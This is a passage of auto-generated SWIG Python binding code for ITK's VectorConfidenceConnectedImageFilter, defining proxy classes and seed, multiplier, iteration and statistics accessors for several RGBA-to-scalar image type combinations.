return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2_cast(obj)
cast = staticmethod(cast)
def New(*args, **kargs):
"""New() -> itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2
Create a new object of the class itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2 and set the input and the parameters if some
named or non-named arguments are passed to that method.
New() tries to assign all the non named parameters to the input of the new objects - the
first non named parameter in the first input, etc.
The named parameters are used by calling the method with the same name prefixed by 'Set'.
Ex:
itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2.New( reader, Threshold=10 )
is (most of the time) equivalent to:
obj = itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2.New()
obj.SetInput( 0, reader.GetOutput() )
obj.SetThreshold( 10 )
"""
obj = itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2.__New_orig__()
import itkTemplate
itkTemplate.New(obj, *args, **kargs)
return obj
New = staticmethod(New)
itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2.Clone = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2_Clone, None, itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2)
itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2.PrintSelf = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2_PrintSelf, None, itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2)
itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2.SetSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2_SetSeed, None, itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2)
itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2.AddSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2_AddSeed, None, itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2)
itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2.ClearSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2_ClearSeeds, None, itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2)
itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2.SetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2_SetMultiplier, None, itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2)
itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2.GetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2_GetMultiplier, None, itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2)
itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2.SetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2_SetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2)
itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2.GetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2_GetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2)
itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2.SetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2_SetReplaceValue, None, itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2)
itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2.GetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2_GetReplaceValue, None, itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2)
itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2.SetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2_SetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2)
itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2.GetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2_GetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2)
itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2.GetMean = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2_GetMean, None, itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2)
itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2.GetCovariance = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2_GetCovariance, None, itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2)
itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2.GetSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2_GetSeeds, None, itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2)
itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2_swigregister = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2_swigregister
itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2_swigregister(itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2)
def itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2___New_orig__() -> "itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2_Pointer":
"""itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2___New_orig__() -> itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2___New_orig__()
def itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2_cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2 *":
"""itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2_cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2_cast(obj)
class itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2(itkImageToImageFilterBPython.itkImageToImageFilterIRGBAUC2IUC2):
"""Proxy of C++ itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2 class."""
thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
def __init__(self, *args, **kwargs):
raise AttributeError("No constructor defined")
__repr__ = _swig_repr
def __New_orig__() -> "itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2_Pointer":
"""__New_orig__() -> itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2___New_orig__()
__New_orig__ = staticmethod(__New_orig__)
def Clone(self) -> "itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2_Pointer":
"""Clone(itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2 self) -> itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2_Clone(self)
def PrintSelf(self, os: 'ostream', indent: 'itkIndent') -> "void":
"""PrintSelf(itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2 self, ostream os, itkIndent indent)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2_PrintSelf(self, os, indent)
def SetSeed(self, seed: 'itkIndex2') -> "void":
"""SetSeed(itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2 self, itkIndex2 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2_SetSeed(self, seed)
def AddSeed(self, seed: 'itkIndex2') -> "void":
"""AddSeed(itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2 self, itkIndex2 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2_AddSeed(self, seed)
def ClearSeeds(self) -> "void":
"""ClearSeeds(itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2 self)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2_ClearSeeds(self)
def SetMultiplier(self, _arg: 'double const') -> "void":
"""SetMultiplier(itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2 self, double const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2_SetMultiplier(self, _arg)
def GetMultiplier(self) -> "double":
"""GetMultiplier(itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2 self) -> double"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2_GetMultiplier(self)
def SetNumberOfIterations(self, _arg: 'unsigned int const') -> "void":
"""SetNumberOfIterations(itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2_SetNumberOfIterations(self, _arg)
def GetNumberOfIterations(self) -> "unsigned int":
"""GetNumberOfIterations(itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2 self) -> unsigned int"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2_GetNumberOfIterations(self)
def SetReplaceValue(self, _arg: 'unsigned char const') -> "void":
"""SetReplaceValue(itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2 self, unsigned char const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2_SetReplaceValue(self, _arg)
def GetReplaceValue(self) -> "unsigned char":
"""GetReplaceValue(itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2 self) -> unsigned char"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2_GetReplaceValue(self)
def SetInitialNeighborhoodRadius(self, _arg: 'unsigned int const') -> "void":
"""SetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2_SetInitialNeighborhoodRadius(self, _arg)
def GetInitialNeighborhoodRadius(self) -> "unsigned int const &":
"""GetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2 self) -> unsigned int const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2_GetInitialNeighborhoodRadius(self)
def GetMean(self) -> "vnl_vectorD const &":
"""GetMean(itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2 self) -> vnl_vectorD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2_GetMean(self)
def GetCovariance(self) -> "vnl_matrixD const &":
"""GetCovariance(itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2 self) -> vnl_matrixD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2_GetCovariance(self)
def GetSeeds(self) -> "std::vector< itkIndex2,std::allocator< itkIndex2 > > const &":
"""GetSeeds(itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2 self) -> std::vector< itkIndex2,std::allocator< itkIndex2 > > const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2_GetSeeds(self)
OutputEqualityComparableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2_OutputEqualityComparableCheck
InputHasNumericTraitsCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2_InputHasNumericTraitsCheck
OutputOStreamWritableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2_OutputOStreamWritableCheck
__swig_destroy__ = _itkVectorConfidenceConnectedImageFilterPython.delete_itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2
def cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2 *":
"""cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2_cast(obj)
cast = staticmethod(cast)
def New(*args, **kargs):
"""New() -> itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2
Create a new object of the class itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2 and set the input and the parameters if some
named or non-named arguments are passed to that method.
New() tries to assign all the non named parameters to the input of the new objects - the
first non named parameter in the first input, etc.
The named parameters are used by calling the method with the same name prefixed by 'Set'.
Ex:
itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2.New( reader, Threshold=10 )
is (most of the time) equivalent to:
obj = itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2.New()
obj.SetInput( 0, reader.GetOutput() )
obj.SetThreshold( 10 )
"""
obj = itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2.__New_orig__()
import itkTemplate
itkTemplate.New(obj, *args, **kargs)
return obj
New = staticmethod(New)
itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2.Clone = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2_Clone, None, itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2)
itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2.PrintSelf = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2_PrintSelf, None, itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2)
itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2.SetSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2_SetSeed, None, itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2)
itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2.AddSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2_AddSeed, None, itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2)
itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2.ClearSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2_ClearSeeds, None, itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2)
itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2.SetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2_SetMultiplier, None, itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2)
itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2.GetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2_GetMultiplier, None, itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2)
itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2.SetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2_SetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2)
itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2.GetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2_GetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2)
itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2.SetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2_SetReplaceValue, None, itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2)
itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2.GetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2_GetReplaceValue, None, itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2)
itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2.SetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2_SetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2)
itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2.GetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2_GetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2)
itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2.GetMean = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2_GetMean, None, itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2)
itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2.GetCovariance = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2_GetCovariance, None, itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2)
itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2.GetSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2_GetSeeds, None, itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2)
itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2_swigregister = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2_swigregister
itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2_swigregister(itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2)
def itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2___New_orig__() -> "itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2_Pointer":
"""itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2___New_orig__() -> itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2___New_orig__()
def itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2_cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2 *":
"""itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2_cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2_cast(obj)
class itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2(itkImageToImageFilterBPython.itkImageToImageFilterIRGBAUC2IUS2):
"""Proxy of C++ itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2 class."""
thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
def __init__(self, *args, **kwargs):
raise AttributeError("No constructor defined")
__repr__ = _swig_repr
def __New_orig__() -> "itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2_Pointer":
"""__New_orig__() -> itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2___New_orig__()
__New_orig__ = staticmethod(__New_orig__)
def Clone(self) -> "itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2_Pointer":
"""Clone(itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2 self) -> itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2_Clone(self)
def PrintSelf(self, os: 'ostream', indent: 'itkIndent') -> "void":
"""PrintSelf(itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2 self, ostream os, itkIndent indent)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2_PrintSelf(self, os, indent)
def SetSeed(self, seed: 'itkIndex2') -> "void":
"""SetSeed(itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2 self, itkIndex2 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2_SetSeed(self, seed)
def AddSeed(self, seed: 'itkIndex2') -> "void":
"""AddSeed(itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2 self, itkIndex2 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2_AddSeed(self, seed)
def ClearSeeds(self) -> "void":
"""ClearSeeds(itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2 self)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2_ClearSeeds(self)
def SetMultiplier(self, _arg: 'double const') -> "void":
"""SetMultiplier(itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2 self, double const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2_SetMultiplier(self, _arg)
def GetMultiplier(self) -> "double":
"""GetMultiplier(itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2 self) -> double"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2_GetMultiplier(self)
def SetNumberOfIterations(self, _arg: 'unsigned int const') -> "void":
"""SetNumberOfIterations(itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2_SetNumberOfIterations(self, _arg)
def GetNumberOfIterations(self) -> "unsigned int":
"""GetNumberOfIterations(itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2 self) -> unsigned int"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2_GetNumberOfIterations(self)
def SetReplaceValue(self, _arg: 'unsigned short const') -> "void":
"""SetReplaceValue(itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2 self, unsigned short const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2_SetReplaceValue(self, _arg)
def GetReplaceValue(self) -> "unsigned short":
"""GetReplaceValue(itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2 self) -> unsigned short"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2_GetReplaceValue(self)
def SetInitialNeighborhoodRadius(self, _arg: 'unsigned int const') -> "void":
"""SetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2_SetInitialNeighborhoodRadius(self, _arg)
def GetInitialNeighborhoodRadius(self) -> "unsigned int const &":
"""GetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2 self) -> unsigned int const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2_GetInitialNeighborhoodRadius(self)
def GetMean(self) -> "vnl_vectorD const &":
"""GetMean(itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2 self) -> vnl_vectorD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2_GetMean(self)
def GetCovariance(self) -> "vnl_matrixD const &":
"""GetCovariance(itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2 self) -> vnl_matrixD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2_GetCovariance(self)
def GetSeeds(self) -> "std::vector< itkIndex2,std::allocator< itkIndex2 > > const &":
"""GetSeeds(itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2 self) -> std::vector< itkIndex2,std::allocator< itkIndex2 > > const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2_GetSeeds(self)
OutputEqualityComparableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2_OutputEqualityComparableCheck
InputHasNumericTraitsCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2_InputHasNumericTraitsCheck
OutputOStreamWritableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2_OutputOStreamWritableCheck
__swig_destroy__ = _itkVectorConfidenceConnectedImageFilterPython.delete_itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2
def cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2 *":
"""cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2_cast(obj)
cast = staticmethod(cast)
def New(*args, **kargs):
"""New() -> itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2
Create a new object of the class itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2 and set the input and the parameters if some
named or non-named arguments are passed to that method.
New() tries to assign all the non named parameters to the input of the new objects - the
first non named parameter in the first input, etc.
The named parameters are used by calling the method with the same name prefixed by 'Set'.
Ex:
itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2.New( reader, Threshold=10 )
is (most of the time) equivalent to:
obj = itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2.New()
obj.SetInput( 0, reader.GetOutput() )
obj.SetThreshold( 10 )
"""
obj = itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2.__New_orig__()
import itkTemplate
itkTemplate.New(obj, *args, **kargs)
return obj
New = staticmethod(New)
itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2.Clone = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2_Clone, None, itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2)
itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2.PrintSelf = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2_PrintSelf, None, itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2)
itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2.SetSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2_SetSeed, None, itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2)
itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2.AddSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2_AddSeed, None, itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2)
itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2.ClearSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2_ClearSeeds, None, itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2)
itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2.SetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2_SetMultiplier, None, itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2)
